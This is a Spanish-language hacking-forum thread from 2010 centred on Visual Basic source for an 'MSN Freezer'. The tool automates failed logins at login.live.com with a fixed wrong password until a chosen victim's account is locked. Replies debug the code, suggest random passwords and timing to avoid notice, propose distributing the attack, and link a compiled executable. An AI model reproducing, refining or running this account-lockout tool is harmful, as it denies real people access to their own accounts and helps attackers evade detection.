Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Psyke1 en 12 Abril 2010, 01:12 am



Título: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 12 Abril 2010, 01:12 am
Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!! ;D

*Utilizo componente:

    -Microsoft Internet Controls

*En el formulario agrego:


    -Un Textbox = Text1
    -Un CommandButton = Command1
    -Un WebBrowser = WB

Código
  1. ' ////////////////////////////////////////////////////////////////
  2. ' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
  3. ' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
  4. ' // respete la autoria y se me comuniquen esos cambios.        //
  5. ' // *Agradecimientos a BlackZeroX.                             //
  6. ' // *Visita http://foro.rthacker.net                           //
  7. ' ////////////////////////////////////////////////////////////////
  8.  
  9. Dim Flag As Boolean
  10.  
  11. Private Sub Command1_Click()
  12.    'Dependiendo del Caption del botón realiza una u otra acción
  13.    If Command1.Caption = "Congelar" Then
  14.        'Si el Text1 esta vacio
  15.        If Text1.Text = "" Then
  16.            Flag = False
  17.            MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
  18.        Else
  19.            Flag = False
  20.            Text1.Enabled = False
  21.            WB.Navigate ("login.live.com") 'Abro la Web para logearse
  22.            Command1.Caption = "Descongelar"
  23.        End If
  24.    Else
  25.        Text1.Enabled = True
  26.        Command1.Caption = "Congelar"
  27.        WB.Navigate ("") 'Salgo de la Web
  28.        MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
  29.    End If
  30. End Sub
  31.  
  32. Private Sub Form_Load()
  33.    Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
  34.    Command1.Caption = "Congelar" 'Asigno el Caption al botón
  35.    Flag = True 'Activo el interruptor
  36. End Sub
  37.  
  38. Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
  39.    On Error Resume Next 'Si hay error no lo muestre
  40.    If Flag Then Exit Sub 'Si el interuptor está activado salgo
  41.    With WB
  42.        .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
  43.        .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
  44.        .Document.All("SI").Click 'hago click
  45.    End With
  46.    ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
  47.    If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
  48.        MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
  49.        , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
  50.    End If
  51. End Sub

Espero que os haya gustado :)


Título: Re: [Source] Msn Freezer Compact
Publicado por: L4sk0! en 13 Abril 2010, 01:03 am
E exado un vistazo al code y he de decir q esta bastante bien, no es tan profesional como si utilizas el control winsock, pero he de admitir q le has hechado imaginacion...
Lo he compilado y tarda un poco mas de lo que dices, pero insisto en q no esta nada mal, minimalista, me gusta... ;-)

salu2


Título: Re: [Source] Msn Freezer Compact
Publicado por: benchy en 14 Junio 2010, 14:49 pm
Hola, lo pase a C#.net porque no entiendo mucho de visual basic y lo estuve probando pero no funciona como los otros Msn Freezer, por lo que veo el evento DocumentComplete se dispara hasta que se bloquea el correo hasta ahi todo bien pero despues de eso no hace nada mas el programa y al rato se desbloquea solo el correo, los otros msn freezer que probe hasta que no cerras el programa no se desbloquea el correo, puede estar dias inclusive, alguien sabe como se programan esos freezer?
Saludos


Título: Re: [Source] Msn Freezer Compact
Publicado por: Karcrack en 14 Junio 2010, 16:26 pm
Ummm.. Hay un error de sintaxis, no cierras el ultimo If

En ultimo If es del que yo quiero hablar:
Código
  1. If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then

Eso no es en absoluto generico, teniendo en cuenta que entras en login.live.com y es la propia pagina la que determina que idioma te muestra... Deberias comprobarlo de otra forma... no se... tal vez con el HTTP STATUS (404,200...)


Título: Re: [Source] Msn Freezer Compact
Publicado por: Psyke1 en 14 Junio 2010, 20:13 pm
Ummm.. Hay un error de sintaxis, no cierras el ultimo If

En ultimo If es del que yo quiero hablar:
Código
  1. If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then

Eso no es en absoluto generico, teniendo en cuenta que entras en login.live.com y es la propia pagina la que determina que idioma te muestra... Deberias comprobarlo de otra forma... no se... tal vez con el HTTP STATUS (404,200...)
Si, es verdad, ya esta corregido... :P Me informare de lo segundo para mejorarlo...
Gracias ;)
Hola, lo pase a C#.net porque no entiendo mucho de visual basic y lo estuve probando pero no funciona como los otros Msn Freezer, por lo que veo el evento DocumentComplete se dispara hasta que se bloquea el correo hasta ahi todo bien pero despues de eso no hace nada mas el programa y al rato se desbloquea solo el correo, los otros msn freezer que probe hasta que no cerras el programa no se desbloquea el correo, puede estar dias inclusive, alguien sabe como se programan esos freezer?
Saludos
Investiga sobre el control Winsock y mirate el MSNP(Messenger Protocol), no creo que esta sea la forma idónea de hacerlo, solo busque hacerlo de una forma diferente, y mas sencilla... :silbar:
No sabia que el mio era por tiempo limitado... Lo he testeado horas y creo recordar que funcionaba... :-\

Salu2! :)


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: n3fisto en 20 Junio 2010, 23:14 pm
Buenisimas tus aplicaciones enserio aunque como dicen winsock y MSNP te verian de maravillas


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 21 Junio 2010, 00:20 am
Solo trato de dar soluciones diferentes!
Me alegra que te guste!

Salu2!


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: n3fisto en 21 Junio 2010, 21:45 pm
Bueno la verdad si lo tienes muy facil lo haces las cosas yo me complico mucho al programar, como el programa que hice de firmas digitales


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Debci en 21 Junio 2010, 22:21 pm
Pero esto no provocaria un DOS al servidor web? Bueno al menos haria saltar las alarmas no?
Ve un paso mas lejos y hazlo para que se pueda hacer de manera distribuida.

^^

Saludos


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: n3fisto en 21 Junio 2010, 22:38 pm
 :huh: :huh: :huh:
Bueno eso va segun como lo hagas no creo? ademas hice la prueba y no pasa nada a menos que hagas algo mas grande si


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 21 Junio 2010, 22:43 pm
No hombre, no probocaria un DOS... Asi funcionan los freezer...
Se puede perfeccionar poniendo Password aleatoria y que se logee en un intervalo de tiempo aleatorio para que llame menos la atencion...

Salu2!


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: skapunky en 22 Junio 2010, 22:05 pm
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.

La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: n3fisto en 23 Junio 2010, 02:55 am
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.

La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.

Viendolo asi tienes razon acabo de hacer la prueba y lo deja inutil al programa, casi totalmente se diria lo correcto totalmente....


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: raul338 en 23 Junio 2010, 04:37 am
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.

La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.

Al menos en la unica prueba que hize....nunca me salto el captcha ._.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 23 Junio 2010, 10:11 am
yo tengo una duda para el creador, por si no lo ha pensado. Cuando desde la pagina web de login, empiezas a loguear con contraseñas incorrectas, llega un momento que sale un recuadro donde debes colocar unos numeros, creo que eso dejaria sin funcionar tu herramienta en muy poco tiempo.

La idea es original, lo he visto y es un metodo sencillo pero no creo que sea eficaz por lo comentado.
El programa esta testeado, y no sale un captcha... :silbar:
Para comprobarlo, pon el WebBrowser en grande y inicia el programa...
Veras que al gastar los intentos bloquea la cuenta temporalmente sin mandarte introducir letras... :laugh:

Salu2! ;)


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Lupin en 23 Junio 2010, 19:53 pm
interesante *PsYkE1*  ;D ;D jeje pero podrias explicarme un poco del evento DocumentComplete , pork veo que se ejecuta continuamente para que salga el mensaje de "demasiadas veces". Cuando por lo que lei por alli  deberia ejecutarse cuando se carga la pagina... :- :¬¬




Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: BlackZeroX en 23 Junio 2010, 20:26 pm

...

Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
    On Error Resume Next 'Si hay error no lo muestre
    If Flag Then Exit Sub 'Si el interuptor está activado salgo
    With WB
        .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
        .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
        .Document.All("SI").Click 'hago click
    End With
    ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
    If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then
        MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
        , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
    End If
End Sub

...


Dicha sección de codigo es un evento del WB y efectivamente se ejecuta cuando termina de verificar la pagina,

la funcion WB.Document.body.innerhtml devuelve el codigo fuente de la pagina y con instr() el verifica la existencia del texto "demasiadas veces" para mostrar el msgbox"¡.

P.D.: Manual basico de control WebBrowser ( http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-navegador-internet-webbrowser.htm )

Dulce Infierno Lunar!¡.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Lupin en 23 Junio 2010, 21:46 pm
 ;D ;D  recien comprendo...
Mi duda era acerca de que para salga el mensaje "demasidas veces" la pagina ha tenido que cargarse mas de una vez...porque veo que el browser se refresca a cada instante...es como un bucle....

...luego de mirar un rato veo que el "click" que se manda hace que la pagina se refresque indefinidamente... ;D ;D ¿ estoy en lo correcto..?


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Debci en 23 Junio 2010, 22:15 pm
No hombre, no probocaria un DOS... Asi funcionan los freezer...
Se puede perfeccionar poniendo Password aleatoria y que se logee en un intervalo de tiempo aleatorio para que llame menos la atencion...

Salu2!
Si esperas mucho no haces nada, simplemente te sacar el captcha xD

Saludos


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Dreamaker en 24 Junio 2010, 00:25 am
Podrías subir directamente la aplicación, osea el .exe?

Así lo pruebo


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 24 Junio 2010, 00:34 am
...luego de mirar un rato veo que el "click" que se manda hace que la pagina se refresque indefinidamente... ;D ;D ¿ estoy en lo correcto..?
Exacto, cuando se carge la pagina por completo hago click otra vez, pero si encuentro la cadena "demasiadas veces", ya paro porque la cuenta ya esta bloquedada, el procedimiento es muy sencillo...  :P
Podrías subir directamente la aplicación, osea el .exe?
Así lo pruebo
Hombre, solo hay que agregar un par de cosas, no seas vago, no?  :laugh:
Salu2!  ;)


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: BlackZeroX en 24 Junio 2010, 00:36 am

http://infrangelux.sytes.net/FileX/?dir=/BlackZeroX/Ajenos

http://infrangelux.sytes.net/FileX/?file=/BlackZeroX/Ajenos/MSNFreezer.rar&dir=/BlackZeroX/Ajenos&

Dulce Infierno Lunar!¡.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Dreamaker en 24 Junio 2010, 00:43 am
Da error acá cuando lo ejecuto:

http://i46.tinypic.com/6qfwn8.jpg


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: BlackZeroX en 24 Junio 2010, 00:47 am
y que error te da?

escribe en la ventana inmediato

Código
  1.  
  2. ?err.Description
  3.  
  4.  

y pega aqui lo que te salga

Dulce Infierno Lunar!¡.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Dreamaker en 24 Junio 2010, 01:07 am
El error que me devolvió dice:

"Se requiere un objeto"

Aca esta la imagen (http://i46.tinypic.com/nougw9.jpg)


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: SOMBRIO en 24 Junio 2010, 06:37 am
El error que me devolvió dice:

"Se requiere un objeto"

Aca esta la imagen (http://i46.tinypic.com/nougw9.jpg)
Si falta el control winsock que te conecta a su compu jaja (bueno viniendo de este usuario en particular no lo creo pero eso de pedir el exe?)

Si sirve. Pero Tendria un uso mejor si se implementara algo asi para el rapidsahre
Bueno esto tiene sus ventajas asi baneamos a unos cuantos
(http://img401.imageshack.us/img401/7396/dibujoom.png) (http://img401.imageshack.us/i/dibujoom.png/)

Saludos


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 24 Junio 2010, 10:57 am
Perfecto, por fin alguien lo comprueba!! ;-)

Salu2!


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Dreamaker en 24 Junio 2010, 18:02 pm
Bueno pero entonces?

Según yo pensaba el Visual basic que me instalé ya traía todos los controles y yo puse los que pedía en el post..tanto trabajo compilar un .exe?

No es de vago sino porque no me funciona, y sino echenme una mano para solucionarlo


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: bizco en 24 Junio 2010, 20:24 pm
puede que los nombres de los objetos no los tengas correctamente, entonces te dira que se requiere un objeto. lee algo sobre vb y sabras solucionar ese pequeño problema.

por ejemplo tu puedes tener el control X, llamado MiControl, pero el codigo tiene el mismo objeto pero lo llama ControlMio... siendo el mismo control tiene nombres distintos y no existe ControlMio como tal en el codigo.


Título: Re: [SRC] Msn Freezer Compact [by *PsYkE1*]
Publicado por: Psyke1 en 24 Junio 2010, 21:46 pm
puede que los nombres de los objetos no los tengas correctamente, entonces te dira que se requiere un objeto. lee algo sobre vb y sabras solucionar ese pequeño problema.

por ejemplo tu puedes tener el control X, llamado MiControl, pero el codigo tiene el mismo objeto pero lo llama ControlMio... siendo el mismo control tiene nombres distintos y no existe ControlMio como tal en el codigo.
Exacto como bien te dice ctlon debes llamar WB al WebBrowser, que por defecto se llamara WebBrowser1, en el post incicial ya alclare esto... ;)

Salu2!